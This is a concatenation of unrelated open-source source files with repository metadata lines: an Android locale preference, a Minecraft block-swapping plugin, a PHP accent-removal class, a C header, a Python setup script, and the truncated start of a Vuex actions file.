import eu.geopaparazzi.core.R;
import eu.geopaparazzi.library.locale.LocaleUtils;
/**
* A custom preference to force a particular locale, even if the OS is on another.
*
* @author Andrea Antonello (www.hydrologis.com)
*/
public class ForceLocalePreference extends DialogPreference {
public static final String PREFS_KEY_FORCELOCALE = "PREFS_KEY_FORCELOCALE";//NON-NLS
private Context context;
private Spinner localesSpinner;
/**
* @param ctxt the context to use.
* @param attrs attributes.
*/
public ForceLocalePreference(Context ctxt, AttributeSet attrs) {
super(ctxt, attrs);
this.context = ctxt;
setPositiveButtonText(ctxt.getString(android.R.string.ok));
setNegativeButtonText(ctxt.getString(android.R.string.cancel));
}
@Override
protected View onCreateDialogView() {
LinearLayout mainLayout = new LinearLayout(context);
LinearLayout.LayoutParams layoutParams = new LinearLayout.LayoutParams(LayoutParams.MATCH_PARENT,
LayoutParams.MATCH_PARENT);
mainLayout.setLayoutParams(layoutParams);
mainLayout.setOrientation(LinearLayout.VERTICAL);
mainLayout.setPadding(25, 25, 25, 25);
localesSpinner = new Spinner(context);
localesSpinner.setLayoutParams(new LinearLayout.LayoutParams(LayoutParams.MATCH_PARENT, LayoutParams.WRAP_CONTENT));
localesSpinner.setPadding(15, 5, 15, 5);
final String[] localesArray = context.getResources().getStringArray(R.array.locales);
ArrayAdapter<String> adapter = new ArrayAdapter<>(context, android.R.layout.simple_spinner_item, localesArray);
adapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
localesSpinner.setAdapter(adapter);
final String currentLocale = LocaleUtils.getCurrentLocale(context);
if (currentLocale != null) {
for (int i = 0; i < localesArray.length; i++) {
if (localesArray[i].equals(currentLocale.trim())) {
localesSpinner.setSelection(i);
break;
}
}
}
mainLayout.addView(localesSpinner);
return mainLayout;
}
@Override
protected void onBindDialogView(View v) {
super.onBindDialogView(v);
}
@Override
protected void onDialogClosed(boolean positiveResult) {
super.onDialogClosed(positiveResult);
if (positiveResult) {
String selectedLocale = localesSpinner.getSelectedItem().toString();
LocaleUtils.changeLang(context, selectedLocale);
}
}
@Override
protected Object onGetDefaultValue(TypedArray a, int index) {
return (a.getString(index));
}
@Override
protected void onSetInitialValue(boolean restoreValue, Object defaultValue) {
}
}
| geopaparazzi/geopaparazzi | geopaparazzi_core/src/main/java/eu/geopaparazzi/core/preferences/ForceLocalePreference.java | Java | gpl-3.0 | 4,020 |
/*
* Author: patiphat mana-u-krid (dew)
* E-Mail: [email protected]
* facebook: https://www.facebook.com/dewddminecraft
*/
package dewddgetaway;
import java.util.Random;
import java.util.Stack;
import org.bukkit.Bukkit;
import org.bukkit.block.Block;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.player.PlayerCommandPreprocessEvent;
import org.bukkit.plugin.java.JavaPlugin;
public class dewgetaway2 implements Listener {
class chatx implements Runnable {
Player p = null;
String message = "";
public void run() {
String m[] = message.split("\\s+");
if (m[0].equalsIgnoreCase("/dewgetawayrun")) {
staticarea.dslb.loaddewsetlistblockfile();
isruntick = !isruntick;
dprint.r.printAll("isruntick = " + Boolean.toString(isruntick));
getawayticktock time = new getawayticktock();
time.setName("getaway");
time.start();
return;
}
if (m[0].equalsIgnoreCase("/dewgetaway")) {
if (m.length == 1) { // it's mean toggle your self
if (p.hasPermission(pgetaway) == false) {
p.sendMessage("you don't have permission " + pgetaway);
return;
}
int getid = getfreeselect(p.getName());
nn.isrun[getid] = !nn.isrun[getid];
p.sendMessage(nn.playername[getid] + " getaway mode = "
+ Boolean.toString(nn.isrun[getid]));
}
else if (m.length == 2) { // it's mean have player name
if (p.hasPermission(pgetaway) == false) {
p.sendMessage("you don't have permission " + pgetaway);
return;
}
if (m[1].equalsIgnoreCase(p.getName()) == false) {
if (p.hasPermission(pgetawayother) == false) {
p.sendMessage("you don't have permission "
+ pgetaway);
return;
}
}
if (m[1].equalsIgnoreCase("@a") == true) {
// it's mean toggle everyone
for (Player p2 : Bukkit.getOnlinePlayers()) {
int getid = getfreeselect(p2.getName());
nn.isrun[getid] = !nn.isrun[getid];
p.sendMessage(nn.playername[getid]
+ " getaway mode = "
+ Boolean.toString(nn.isrun[getid]));
}
}
else {
// find that player
for (Player p2 : Bukkit.getOnlinePlayers()) {
if (p2.getName().toLowerCase()
.indexOf(m[1].toLowerCase()) > -1) {
int getid = getfreeselect(p2.getName());
nn.isrun[getid] = !nn.isrun[getid];
p.sendMessage(nn.playername[getid]
+ " getaway mode = "
+ Boolean.toString(nn.isrun[getid]));
break;
}
}
return;
}
}
else if (m.length == 3) {
// it's mean player 0|1
if (p.hasPermission(pgetaway) == false) {
p.sendMessage("you don't have permission " + pgetaway);
return;
}
if (m[1].equalsIgnoreCase(p.getName()) == false) {
if (p.hasPermission(pgetawayother) == false) {
p.sendMessage("you don't have permission "
+ pgetaway);
return;
}
}
if (m[2].equalsIgnoreCase("0") == false
&& m[2].equalsIgnoreCase("1") == false) {
p.sendMessage("argument 3 must be 0 or 1");
return;
}
boolean togglemode = false;
if (m[2].equalsIgnoreCase("1") == true) togglemode = true;
if (m[1].equalsIgnoreCase("@a") == true) {
// it's mean toggle everyone
for (Player p2 : Bukkit.getOnlinePlayers()) {
int getid = getfreeselect(p2.getName());
nn.isrun[getid] = togglemode;
p.sendMessage(nn.playername[getid]
+ " getaway mode = "
+ Boolean.toString(nn.isrun[getid]));
}
return;
}
else {
// find that player
for (Player p2 : Bukkit.getOnlinePlayers()) {
if (p2.getName().toLowerCase()
.indexOf(m[1].toLowerCase()) > -1) {
int getid = getfreeselect(p2.getName());
nn.isrun[getid] = togglemode;
p.sendMessage(nn.playername[getid]
+ " getaway mode = "
+ Boolean.toString(nn.isrun[getid]));
break;
}
}
return;
}
}
}
}
}
class ddata {
public String playername[];
public boolean isrun[];
}
class getawaytick2 implements Runnable {
public void run() {
long starttime = System.currentTimeMillis();
long endtime = 0;
// loop everyone
// printAll("tick");
for (int i = 0; i < ddatamax; i++) {
if (nn.isrun[i] == true) {
// printAll("found nn = true at " + i);
if (nn.playername[i].equalsIgnoreCase("") == false) {
// printAll(" nn name empty == false at " + i);
// search that player
Player p2 = null;
for (Player p3 : Bukkit.getOnlinePlayers()) {
if (p3.getName().equalsIgnoreCase(nn.playername[i])) {
p2 = p3;
break;
}
}
if (p2 == null) {
// printAll("p2 = null " + i);
continue;
}
// printAll("foundn p2");
double td = 0;
Block b = null;
Block b2 = null;
for (int x = -ra; x <= ra; x++) {
for (int y = -ra; y <= ra; y++) {
for (int z = -ra; z <= ra; z++) {
endtime = System.currentTimeMillis();
if (endtime - starttime > 250) return;
if (dewddtps.tps.getTPS() < 18) {
return;
}
b = p2.getLocation().getBlock()
.getRelative(x, y, z);
// b2 is looking
td = distance3d(b.getX(), b.getY(),
b.getZ(),
p2.getLocation().getBlockX(), p2
.getLocation().getBlockY(),
p2.getLocation().getBlockZ());
// printAll("radi td " + td);
if (td > ra) {
continue;
}
// check this block
// b =
// p2.getLocation().getBlock().getRelative(x,y,z);
boolean bll = blockdewset(b.getTypeId());
if (bll == false) {
continue;
}
// check sign
for (int nx = -1; nx <= 1; nx++) {
for (int ny = -1; ny <= 1; ny++) {
for (int nz = -1; nz <= 1; nz++) {
if (b.getRelative(nx, ny, nz)
.getTypeId() == 0) {
continue;
}
if (b.getRelative(nx, ny, nz)
.getTypeId() == 63
|| b.getRelative(nx,
ny, nz)
.getTypeId() == 68
|| b.getRelative(nx,
ny, nz)
.getType()
.isBlock() == false
|| blockdewset(b
.getRelative(
nx, ny,
nz)
.getTypeId()) == false) {
bll = false;
if (bll == false) {
break;
}
}
if (bll == false) {
break;
}
}
}
if (bll == false) {
break;
}
}
if (bll == false) {
continue;
}
// printAll("adding " + b.getX() + "," +
// b.getY() + "," + b.getZ());
// move it
b2 = getran(b, 1);
saveb xx = new saveb();
xx.b1id = b.getTypeId();
xx.b1data = b.getData();
xx.b1x = b.getX();
xx.b1y = b.getY();
xx.b1z = b.getZ();
xx.b2id = b2.getTypeId();
xx.b2data = b2.getData();
xx.b2x = b2.getX();
xx.b2y = b2.getY();
xx.b2z = b2.getZ();
xx.w = b.getWorld().getName();
bd.push(xx);
// added queue
// switch that block
b.setTypeId(xx.b2id);
b.setData(xx.b2data);
b2.setTypeId(xx.b1id);
b2.setData(xx.b1data);
}
}
}
// if found player
// search neary block at player it's sholud be move
// or not
// if yes add to queue
// and loop again to should it's roll back or not
// We should't use quere
// We should use array
}
}
}
// after add quere
dprint.r.printC("bd size = " + bd.size());
for (int gx = 0; gx <= 300; gx++) {
// this is rollback block
if (bd.size() == 0) {
bd.trimToSize();
return;
}
endtime = System.currentTimeMillis();
if (endtime - starttime > 250) return;
if (dewddtps.tps.getTPS() < 18) {
return;
}
// printC("before peek " + bd.size());
saveb ttt = bd.peek();
// printC("after peek " + bd.size());
Block b3 = Bukkit.getWorld(ttt.w).getBlockAt(ttt.b1x, ttt.b1y,
ttt.b1z);
Block b4 = Bukkit.getWorld(ttt.w).getBlockAt(ttt.b2x, ttt.b2y,
ttt.b2z);
boolean isp = false;
isp = isplayernearblock(b3, ra) || isplayernearblock(b4, ra);
if (isp == true) {
return;
}
ttt = bd.pop();
b3 = Bukkit.getWorld(ttt.w).getBlockAt(ttt.b1x, ttt.b1y,
ttt.b1z);
b4 = Bukkit.getWorld(ttt.w).getBlockAt(ttt.b2x, ttt.b2y,
ttt.b2z);
b4.setTypeId(ttt.b2id);
b4.setData(ttt.b2data);
b3.setTypeId(ttt.b1id);
b3.setData(ttt.b1data);
}
// if not player near rollback
// check
// is't there have player near that block ?
}
}
class getawayticktock extends Thread {
public void run() {
while (isruntick == true) {
try {
Thread.sleep(1000);
}
catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
getawaytick2 eee = new getawaytick2();
Bukkit.getScheduler().scheduleSyncDelayedTask(ac, eee);
}
}
}
class saveb {
public int b1id = 0;
public byte b1data = 0;
public int b1x = 0;
public int b1y = 0;
public int b1z = 0;
public int b2id = 0;
public byte b2data = 0;
public int b2x = 0;
public int b2y = 0;
public int b2z = 0;
public String w = "";
}
boolean isruntick = false;
JavaPlugin ac = null;
int ra = 5;
int ddatamax = 29;
ddata nn = new ddata();
String pgetaway = "dewdd.getaway.use";
String pgetawayother = "dewdd.getaway.use.other";
Stack<saveb> bd = new Stack<saveb>();
// Queue<saveb> bd= new LinkedList<saveb>();
Random rnd = new Random();
public dewgetaway2() {
nn.playername = new String[ddatamax];
nn.isrun = new boolean[ddatamax];
for (int i = 0; i < ddatamax; i++) {
nn.playername[i] = "";
nn.isrun[i] = false;
}
}
public boolean blockdewset(int blockid) {
return staticarea.dslb.isdewset(blockid)
&& staticarea.dslb.isdewinventoryblock(blockid) == false
&& blockid != 0 && blockid != 8 && blockid != 9
&& blockid != 10 && blockid != 11;
}
public int distance2d(int x1, int z1, int x2, int z2) {
double t1 = Math.pow(x1 - x2, 2);
double t2 = Math.pow(z1 - z2, 2);
double t3 = Math.pow(t1 + t2, 0.5);
int t4 = (int) t3;
return t4;
}
public double distance3d(int x1, int y1, int z1, int x2, int y2, int z2) {
double t1 = Math.pow(x1 - x2, 2);
double t2 = Math.pow(z1 - z2, 2);
double t3 = Math.pow(y1 - y2, 2);
double t5 = Math.pow(t1 + t2 + t3, 0.5);
return t5;
}
@EventHandler
public void eventja(PlayerCommandPreprocessEvent event) {
chatx a = new chatx();
a.p = event.getPlayer();
a.message = event.getMessage();
Bukkit.getScheduler().scheduleSyncDelayedTask(ac, a);
}
public int getfreeselect(String sname) {
// clean exited player
boolean foundx = false;
for (int i = 0; i < ddatamax; i++) {
foundx = false;
for (Player pr : Bukkit.getOnlinePlayers()) {
if (nn.playername[i].equalsIgnoreCase(pr.getName())) {
foundx = true;
break;
}
}
if (foundx == false) {
nn.playername[i] = "";
nn.isrun[i] = false;
}
}
// clean
for (int i = 0; i < ddatamax; i++) {
if (nn.playername[i].equalsIgnoreCase(sname)) {
return i;
}
}
for (int i = 0; i < ddatamax; i++) {
if (nn.playername[i].equalsIgnoreCase("")) {
nn.playername[i] = sname;
return i;
}
}
return -1;
}
public Block getran(Block b, int ra) {
Block b2 = b;
int tx = 0;
int ty = 0;
int tz = 0;
int counttry = 0;
do {
counttry++;
tx = rnd.nextInt(ra * 2) - (ra * 1);
ty = rnd.nextInt(ra * 2) - (ra * 1);
tz = rnd.nextInt(ra * 2) - (ra * 1);
if (ty < 1) ty = 1;
if (ty > 254) ty = 254;
b2 = b.getRelative(tx, ty, tz);
if (counttry >= 100) {
counttry = 0;
ra = ra + 1;
}
}
while (b2.getLocation().distance(b.getLocation()) < ra || b2 == b
|| b2.getTypeId() != 0);
return b2;
}
public boolean isplayernearblock(Block bh, int ra) {
for (Player uu : bh.getWorld().getPlayers()) {
if (nn.isrun[getfreeselect(uu.getName())] == false) continue;
if (uu.getLocation().distance(bh.getLocation()) <= ra) {
return true;
}
}
return false;
}
} // class
| dewtx29/dewdd_minecraft_plugins | old/dewdd_getaway/src/dewddgetaway/dewgetaway2.java | Java | gpl-3.0 | 13,351 |
<?php
class removeAccents extends CommonServices{
private $accented;
private $unaccented;
public function __construct($string) {
$this->accented = $string;
$this->unaccented = $this->removeAccents($string);
}
public function get(){
return $this->unaccented;
}
/**
* Unaccent a string
*
* An example string like ÀØėÿᾜὨζὅБю will be translated to AOeyIOzoBY.
*
* @author http://www.evaisse.net/2008/php-translit-remove-accent-unaccent-21001
* @param $str input string
* @param $utf8 if null, function will detect input string encoding
* @return string input string without accent
*/
private function removeAccents($str, $utf8 = true) {
$str = (string) $str;
if (is_null($utf8)) {
if (!function_exists('mb_detect_encoding')) {
$utf8 = (strtolower(mb_detect_encoding($str)) == 'utf-8');
} else {
$length = strlen($str);
$utf8 = true;
for ($i = 0; $i < $length; $i++) {
$c = ord($str[$i]);
if ($c < 0x80) $n = 0; // 0bbbbbbb
elseif (($c & 0xE0) == 0xC0) $n = 1; // 110bbbbb
elseif (($c & 0xF0) == 0xE0) $n = 2; // 1110bbbb
elseif (($c & 0xF8) == 0xF0) $n = 3; // 11110bbb
elseif (($c & 0xFC) == 0xF8) $n = 4; // 111110bb
elseif (($c & 0xFE) == 0xFC) $n = 5; // 1111110b
else return false; // Does not match any model
for ($j = 0; $j < $n; $j++) { // n bytes matching 10bbbbbb follow ?
if ((++$i == $length) || ((ord($str[$i]) & 0xC0) != 0x80)) {
$utf8 = false;
break;
}
}
}
}
}
if (!$utf8) {
$str = utf8_encode($str);
}
$transliteration = array(
'IJ' => 'I', 'Ö' => 'O', 'Œ' => 'O', 'Ü' => 'U', 'ä' => 'a', 'æ' => 'a',
'ij' => 'i', 'ö' => 'o', 'œ' => 'o', 'ü' => 'u', 'ß' => 's', 'ſ' => 's',
'À' => 'A', 'Á' => 'A', 'Â' => 'A', 'Ã' => 'A', 'Ä' => 'A', 'Å' => 'A',
'Æ' => 'A', 'Ā' => 'A', 'Ą' => 'A', 'Ă' => 'A', 'Ç' => 'C', 'Ć' => 'C',
'Č' => 'C', 'Ĉ' => 'C', 'Ċ' => 'C', 'Ď' => 'D', 'Đ' => 'D', 'È' => 'E',
'É' => 'E', 'Ê' => 'E', 'Ë' => 'E', 'Ē' => 'E', 'Ę' => 'E', 'Ě' => 'E',
'Ĕ' => 'E', 'Ė' => 'E', 'Ĝ' => 'G', 'Ğ' => 'G', 'Ġ' => 'G', 'Ģ' => 'G',
'Ĥ' => 'H', 'Ħ' => 'H', 'Ì' => 'I', 'Í' => 'I', 'Î' => 'I', 'Ï' => 'I',
'Ī' => 'I', 'Ĩ' => 'I', 'Ĭ' => 'I', 'Į' => 'I', 'İ' => 'I', 'Ĵ' => 'J',
'Ķ' => 'K', 'Ľ' => 'K', 'Ĺ' => 'K', 'Ļ' => 'K', 'Ŀ' => 'K', 'Ł' => 'L',
'Ñ' => 'N', 'Ń' => 'N', 'Ň' => 'N', 'Ņ' => 'N', 'Ŋ' => 'N', 'Ò' => 'O',
'Ó' => 'O', 'Ô' => 'O', 'Õ' => 'O', 'Ø' => 'O', 'Ō' => 'O', 'Ő' => 'O',
'Ŏ' => 'O', 'Ŕ' => 'R', 'Ř' => 'R', 'Ŗ' => 'R', 'Ś' => 'S', 'Ş' => 'S',
'Ŝ' => 'S', 'Ș' => 'S', 'Š' => 'S', 'Ť' => 'T', 'Ţ' => 'T', 'Ŧ' => 'T',
'Ț' => 'T', 'Ù' => 'U', 'Ú' => 'U', 'Û' => 'U', 'Ū' => 'U', 'Ů' => 'U',
'Ű' => 'U', 'Ŭ' => 'U', 'Ũ' => 'U', 'Ų' => 'U', 'Ŵ' => 'W', 'Ŷ' => 'Y',
'Ÿ' => 'Y', 'Ý' => 'Y', 'Ź' => 'Z', 'Ż' => 'Z', 'Ž' => 'Z', 'à' => 'a',
'á' => 'a', 'â' => 'a', 'ã' => 'a', 'ā' => 'a', 'ą' => 'a', 'ă' => 'a',
'å' => 'a', 'ç' => 'c', 'ć' => 'c', 'č' => 'c', 'ĉ' => 'c', 'ċ' => 'c',
'ď' => 'd', 'đ' => 'd', 'è' => 'e', 'é' => 'e', 'ê' => 'e', 'ë' => 'e',
'ē' => 'e', 'ę' => 'e', 'ě' => 'e', 'ĕ' => 'e', 'ė' => 'e', 'ƒ' => 'f',
'ĝ' => 'g', 'ğ' => 'g', 'ġ' => 'g', 'ģ' => 'g', 'ĥ' => 'h', 'ħ' => 'h',
'ì' => 'i', 'í' => 'i', 'î' => 'i', 'ï' => 'i', 'ī' => 'i', 'ĩ' => 'i',
'ĭ' => 'i', 'į' => 'i', 'ı' => 'i', 'ĵ' => 'j', 'ķ' => 'k', 'ĸ' => 'k',
'ł' => 'l', 'ľ' => 'l', 'ĺ' => 'l', 'ļ' => 'l', 'ŀ' => 'l', 'ñ' => 'n',
'ń' => 'n', 'ň' => 'n', 'ņ' => 'n', 'ʼn' => 'n', 'ŋ' => 'n', 'ò' => 'o',
'ó' => 'o', 'ô' => 'o', 'õ' => 'o', 'ø' => 'o', 'ō' => 'o', 'ő' => 'o',
'ŏ' => 'o', 'ŕ' => 'r', 'ř' => 'r', 'ŗ' => 'r', 'ś' => 's', 'š' => 's',
'ť' => 't', 'ù' => 'u', 'ú' => 'u', 'û' => 'u', 'ū' => 'u', 'ů' => 'u',
'ű' => 'u', 'ŭ' => 'u', 'ũ' => 'u', 'ų' => 'u', 'ŵ' => 'w', 'ÿ' => 'y',
'ý' => 'y', 'ŷ' => 'y', 'ż' => 'z', 'ź' => 'z', 'ž' => 'z', 'Α' => 'A',
'Ά' => 'A', 'Ἀ' => 'A', 'Ἁ' => 'A', 'Ἂ' => 'A', 'Ἃ' => 'A', 'Ἄ' => 'A',
'Ἅ' => 'A', 'Ἆ' => 'A', 'Ἇ' => 'A', 'ᾈ' => 'A', 'ᾉ' => 'A', 'ᾊ' => 'A',
'ᾋ' => 'A', 'ᾌ' => 'A', 'ᾍ' => 'A', 'ᾎ' => 'A', 'ᾏ' => 'A', 'Ᾰ' => 'A',
'Ᾱ' => 'A', 'Ὰ' => 'A', 'ᾼ' => 'A', 'Β' => 'B', 'Γ' => 'G', 'Δ' => 'D',
'Ε' => 'E', 'Έ' => 'E', 'Ἐ' => 'E', 'Ἑ' => 'E', 'Ἒ' => 'E', 'Ἓ' => 'E',
'Ἔ' => 'E', 'Ἕ' => 'E', 'Ὲ' => 'E', 'Ζ' => 'Z', 'Η' => 'I', 'Ή' => 'I',
'Ἠ' => 'I', 'Ἡ' => 'I', 'Ἢ' => 'I', 'Ἣ' => 'I', 'Ἤ' => 'I', 'Ἥ' => 'I',
'Ἦ' => 'I', 'Ἧ' => 'I', 'ᾘ' => 'I', 'ᾙ' => 'I', 'ᾚ' => 'I', 'ᾛ' => 'I',
'ᾜ' => 'I', 'ᾝ' => 'I', 'ᾞ' => 'I', 'ᾟ' => 'I', 'Ὴ' => 'I', 'ῌ' => 'I',
'Θ' => 'T', 'Ι' => 'I', 'Ί' => 'I', 'Ϊ' => 'I', 'Ἰ' => 'I', 'Ἱ' => 'I',
'Ἲ' => 'I', 'Ἳ' => 'I', 'Ἴ' => 'I', 'Ἵ' => 'I', 'Ἶ' => 'I', 'Ἷ' => 'I',
'Ῐ' => 'I', 'Ῑ' => 'I', 'Ὶ' => 'I', 'Κ' => 'K', 'Λ' => 'L', 'Μ' => 'M',
'Ν' => 'N', 'Ξ' => 'K', 'Ο' => 'O', 'Ό' => 'O', 'Ὀ' => 'O', 'Ὁ' => 'O',
'Ὂ' => 'O', 'Ὃ' => 'O', 'Ὄ' => 'O', 'Ὅ' => 'O', 'Ὸ' => 'O', 'Π' => 'P',
'Ρ' => 'R', 'Ῥ' => 'R', 'Σ' => 'S', 'Τ' => 'T', 'Υ' => 'Y', 'Ύ' => 'Y',
'Ϋ' => 'Y', 'Ὑ' => 'Y', 'Ὓ' => 'Y', 'Ὕ' => 'Y', 'Ὗ' => 'Y', 'Ῠ' => 'Y',
'Ῡ' => 'Y', 'Ὺ' => 'Y', 'Φ' => 'F', 'Χ' => 'X', 'Ψ' => 'P', 'Ω' => 'O',
'Ώ' => 'O', 'Ὠ' => 'O', 'Ὡ' => 'O', 'Ὢ' => 'O', 'Ὣ' => 'O', 'Ὤ' => 'O',
'Ὥ' => 'O', 'Ὦ' => 'O', 'Ὧ' => 'O', 'ᾨ' => 'O', 'ᾩ' => 'O', 'ᾪ' => 'O',
'ᾫ' => 'O', 'ᾬ' => 'O', 'ᾭ' => 'O', 'ᾮ' => 'O', 'ᾯ' => 'O', 'Ὼ' => 'O',
'ῼ' => 'O', 'α' => 'a', 'ά' => 'a', 'ἀ' => 'a', 'ἁ' => 'a', 'ἂ' => 'a',
'ἃ' => 'a', 'ἄ' => 'a', 'ἅ' => 'a', 'ἆ' => 'a', 'ἇ' => 'a', 'ᾀ' => 'a',
'ᾁ' => 'a', 'ᾂ' => 'a', 'ᾃ' => 'a', 'ᾄ' => 'a', 'ᾅ' => 'a', 'ᾆ' => 'a',
'ᾇ' => 'a', 'ὰ' => 'a', 'ᾰ' => 'a', 'ᾱ' => 'a', 'ᾲ' => 'a', 'ᾳ' => 'a',
'ᾴ' => 'a', 'ᾶ' => 'a', 'ᾷ' => 'a', 'β' => 'b', 'γ' => 'g', 'δ' => 'd',
'ε' => 'e', 'έ' => 'e', 'ἐ' => 'e', 'ἑ' => 'e', 'ἒ' => 'e', 'ἓ' => 'e',
'ἔ' => 'e', 'ἕ' => 'e', 'ὲ' => 'e', 'ζ' => 'z', 'η' => 'i', 'ή' => 'i',
'ἠ' => 'i', 'ἡ' => 'i', 'ἢ' => 'i', 'ἣ' => 'i', 'ἤ' => 'i', 'ἥ' => 'i',
'ἦ' => 'i', 'ἧ' => 'i', 'ᾐ' => 'i', 'ᾑ' => 'i', 'ᾒ' => 'i', 'ᾓ' => 'i',
'ᾔ' => 'i', 'ᾕ' => 'i', 'ᾖ' => 'i', 'ᾗ' => 'i', 'ὴ' => 'i', 'ῂ' => 'i',
'ῃ' => 'i', 'ῄ' => 'i', 'ῆ' => 'i', 'ῇ' => 'i', 'θ' => 't', 'ι' => 'i',
'ί' => 'i', 'ϊ' => 'i', 'ΐ' => 'i', 'ἰ' => 'i', 'ἱ' => 'i', 'ἲ' => 'i',
'ἳ' => 'i', 'ἴ' => 'i', 'ἵ' => 'i', 'ἶ' => 'i', 'ἷ' => 'i', 'ὶ' => 'i',
'ῐ' => 'i', 'ῑ' => 'i', 'ῒ' => 'i', 'ῖ' => 'i', 'ῗ' => 'i', 'κ' => 'k',
'λ' => 'l', 'μ' => 'm', 'ν' => 'n', 'ξ' => 'k', 'ο' => 'o', 'ό' => 'o',
'ὀ' => 'o', 'ὁ' => 'o', 'ὂ' => 'o', 'ὃ' => 'o', 'ὄ' => 'o', 'ὅ' => 'o',
'ὸ' => 'o', 'π' => 'p', 'ρ' => 'r', 'ῤ' => 'r', 'ῥ' => 'r', 'σ' => 's',
'ς' => 's', 'τ' => 't', 'υ' => 'y', 'ύ' => 'y', 'ϋ' => 'y', 'ΰ' => 'y',
'ὐ' => 'y', 'ὑ' => 'y', 'ὒ' => 'y', 'ὓ' => 'y', 'ὔ' => 'y', 'ὕ' => 'y',
'ὖ' => 'y', 'ὗ' => 'y', 'ὺ' => 'y', 'ῠ' => 'y', 'ῡ' => 'y', 'ῢ' => 'y',
'ῦ' => 'y', 'ῧ' => 'y', 'φ' => 'f', 'χ' => 'x', 'ψ' => 'p', 'ω' => 'o',
'ώ' => 'o', 'ὠ' => 'o', 'ὡ' => 'o', 'ὢ' => 'o', 'ὣ' => 'o', 'ὤ' => 'o',
'ὥ' => 'o', 'ὦ' => 'o', 'ὧ' => 'o', 'ᾠ' => 'o', 'ᾡ' => 'o', 'ᾢ' => 'o',
'ᾣ' => 'o', 'ᾤ' => 'o', 'ᾥ' => 'o', 'ᾦ' => 'o', 'ᾧ' => 'o', 'ὼ' => 'o',
'ῲ' => 'o', 'ῳ' => 'o', 'ῴ' => 'o', 'ῶ' => 'o', 'ῷ' => 'o', 'А' => 'A',
'Б' => 'B', 'В' => 'V', 'Г' => 'G', 'Д' => 'D', 'Е' => 'E', 'Ё' => 'E',
'Ж' => 'Z', 'З' => 'Z', 'И' => 'I', 'Й' => 'I', 'К' => 'K', 'Л' => 'L',
'М' => 'M', 'Н' => 'N', 'О' => 'O', 'П' => 'P', 'Р' => 'R', 'С' => 'S',
'Т' => 'T', 'У' => 'U', 'Ф' => 'F', 'Х' => 'K', 'Ц' => 'T', 'Ч' => 'C',
'Ш' => 'S', 'Щ' => 'S', 'Ы' => 'Y', 'Э' => 'E', 'Ю' => 'Y', 'Я' => 'Y',
'а' => 'A', 'б' => 'B', 'в' => 'V', 'г' => 'G', 'д' => 'D', 'е' => 'E',
'ё' => 'E', 'ж' => 'Z', 'з' => 'Z', 'и' => 'I', 'й' => 'I', 'к' => 'K',
'л' => 'L', 'м' => 'M', 'н' => 'N', 'о' => 'O', 'п' => 'P', 'р' => 'R',
'с' => 'S', 'т' => 'T', 'у' => 'U', 'ф' => 'F', 'х' => 'K', 'ц' => 'T',
'ч' => 'C', 'ш' => 'S', 'щ' => 'S', 'ы' => 'Y', 'э' => 'E', 'ю' => 'Y',
'я' => 'Y', 'ð' => 'd', 'Ð' => 'D', 'þ' => 't', 'Þ' => 'T', 'ა' => 'a',
'ბ' => 'b', 'გ' => 'g', 'დ' => 'd', 'ე' => 'e', 'ვ' => 'v', 'ზ' => 'z',
'თ' => 't', 'ი' => 'i', 'კ' => 'k', 'ლ' => 'l', 'მ' => 'm', 'ნ' => 'n',
'ო' => 'o', 'პ' => 'p', 'ჟ' => 'z', 'რ' => 'r', 'ს' => 's', 'ტ' => 't',
'უ' => 'u', 'ფ' => 'p', 'ქ' => 'k', 'ღ' => 'g', 'ყ' => 'q', 'შ' => 's',
'ჩ' => 'c', 'ც' => 't', 'ძ' => 'd', 'წ' => 't', 'ჭ' => 'c', 'ხ' => 'k',
'ჯ' => 'j', 'ჰ' => 'h',
);
return str_replace(array_keys($transliteration), array_values($transliteration), $str);
}
}
?>
| futurable/futural | startup/protected/components/CommonServices/removeAccents.php | PHP | gpl-3.0 | 10,886 |
//
// Created by Christian Ehrig on 31/01/16.
//
#ifndef FILETOAST_WORKER_H
#define FILETOAST_WORKER_H
void * worker(void *);
char * readfile(t_job *);
int senddata(t_job * job);
#endif //FILETOAST_WORKER_H
| cehrig/filetoast | src/worker.h | C | gpl-3.0 | 210 |
#! /usr/bin/env python
# -*- coding: utf-8 -*-
#
# pkpgcounter : a generic Page Description Language parser
#
# (c) 2003-2009 Jerome Alet <[email protected]>
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
# $Id$
#
#
import sys
import glob
import os
import shutil
try :
from distutils.core import setup
except ImportError as msg :
sys.stderr.write("%s\n" % msg)
sys.stderr.write("You need the DistUtils Python module.\nunder Debian, you may have to install the python-dev package.\nOf course, YMMV.\n")
sys.exit(-1)
try :
from PIL import Image
except ImportError :
sys.stderr.write("You need the Python Imaging Library (aka PIL).\nYou can grab it from http://www.pythonware.com\n")
sys.exit(-1)
sys.path.insert(0, "pkpgpdls")
from pkpgpdls.version import __version__, __doc__
data_files = []
mofiles = glob.glob(os.sep.join(["po", "*", "*.mo"]))
for mofile in mofiles :
lang = mofile.split(os.sep)[1]
directory = os.sep.join(["share", "locale", lang, "LC_MESSAGES"])
data_files.append((directory, [ mofile ]))
docdir = "share/doc/pkpgcounter"
docfiles = ["README", "COPYING", "BUGS", "CREDITS", "AUTHORS", "TODO"]
data_files.append((docdir, docfiles))
if os.path.exists("ChangeLog") :
data_files.append((docdir, ["ChangeLog"]))
directory = os.sep.join(["share", "man", "man1"])
manpages = glob.glob(os.sep.join(["man", "*.1"]))
data_files.append((directory, manpages))
setup(name = "pkpgcounter", version = __version__,
license = "GNU GPL",
description = __doc__,
author = "Jerome Alet",
author_email = "[email protected]",
url = "http://www.pykota.com/software/pkpgcounter/",
packages = [ "pkpgpdls" ],
scripts = [ "bin/pkpgcounter" ],
data_files = data_files)
| lynxis/pkpgcounter | setup.py | Python | gpl-3.0 | 2,361 |
const actions = {
// Video ended
ended({dispatch,commit}, video) {
video.isPlaying = false;
dispatch('next', video);
commit('PLAYING',video);
},
// Add video to queue
addToQueue({state, dispatch, commit }, obj) {
var index = _.findIndex(state.queue, function(o) {
return o.videoId == obj.videoId; });
